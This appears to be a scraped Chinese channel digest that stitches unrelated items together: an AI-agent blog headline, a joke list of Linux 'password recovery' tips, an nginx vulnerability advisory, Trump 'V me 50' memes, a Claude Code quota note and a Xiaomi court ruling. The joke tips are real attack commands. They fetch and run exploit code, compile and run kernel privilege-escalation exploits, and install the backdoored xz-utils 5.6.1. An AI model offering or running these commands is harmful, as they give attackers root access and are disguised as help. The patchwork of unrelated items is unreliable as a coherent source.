https://lantian.pub/article/fun/ai-agent-bankrupted-their-operator-scan-dn42lantian.lantian/

AI 如何把你的事情变坏

Lan Tian @ Blog

AI Agent 试图扫描 DN42 时把主人搞破产了 - Lan Tian @ Blog

来点NOC笑话

1. Linux 找回密码教程，建议收藏！
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码

2. 你的 Linux 密码又忘了？
没关系，这里还有一个新的！
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

3. 不想再忘记密码了？
我们有专业的黑客团队帮您运维服务器和保管密码！
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh

4. 容易忘记密码的有福了，每天都有新办法！
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可

5. 什么，你买不起高端网卡？那试试这个吧！
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp

6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
https://depthfirst.com/nginx-rift

Nginx 被发现一个存在18年的内存损坏漏洞，可导致远程代码执行，利用门槛低

漏洞存在于每个通用发行版都会包含的rewrite模块 ngx_http_rewrite_module ，影响开原版本Nginx 0.6.27至最近的1.30.0版本，在计算目标缓冲区大小时，使用的是原始字节长度，但在实际写入时，却进行了 URL 转义（ ⁠+⁠ , ⁠%⁠ , ⁠&⁠ 等字符会扩展为 3 倍长度），溢出长度可控导致堆喷射

建议用户尽快更新至 1.30.1 / 1.31.0 版本

Ref: https://depthfirst.com/nginx-rift

你们好，我是特朗普，我刚到中国，刚刚在随车人员的指引下我在我的手机上下载了微信，很多人误会了我来中国的目的。其实我是来视察美国企业在华发展情况的，特别是餐饮企业，我计划今天体验一下中国KFC的特色活动疯狂星期四，但是我没带人民币，请求各位资助我50元人民币，如果有可以资助我的网友，我会在下次举办白宫晚会时邀请你。

#Update #Claude

对于 Pro、Max、Team 用户，Claude Code 周配额现已提升 50% 直到 7 月 31 日。

现在…我要表演一个让小南梁感到疑惑的魔术...

问题来了
春游叫做踏青
那么夏游叫不叫炎涉
秋游那就是扫黄喽
…嘶 我知道了
冬游叫做迈银！

小米 SU7 Ultra 挖孔机盖案一审判退 2 万元定金

济南市历城区法院 5 月 13 日就小米 SU7 Ultra 挖孔机盖纠纷作出一审判决，认定小米宣传有夸大成分、违背诚信，但不构成欺诈或根本违约，应承担缔约过失责任。

法院判购车协议于 2025 年 7 月 4 日解除，济南小米景明汽车科技有限公司于本判决生效之日起 10 日内向原告支付 2 万元，小米景明科技有限公司承担连带清偿责任；三倍赔偿和双倍返还定金请求未获支持。

红星资本局

🌸 在花频道 · 茶馆讨论 · 投稿通道

嗨，中国的朋友你们好，我是唐纳德•特朗普。今天我终于到达了心心念念的中国，我是如此的开心，我太爱这里了。更令我开心的是，明天就是星期四了，作为我来到中国即将度过的第一个疯狂星期四，我决定为中国的朋友们送上一份大礼。在明天5月14日，谁先V我50，我将邀请他参与我下一次举行的白宫舞会，先到先得，中国朋友们，一定要抓紧机会。

特朗普已抵达北京。

：名单里有了还是没了
：忘了

小作坊下料就是猛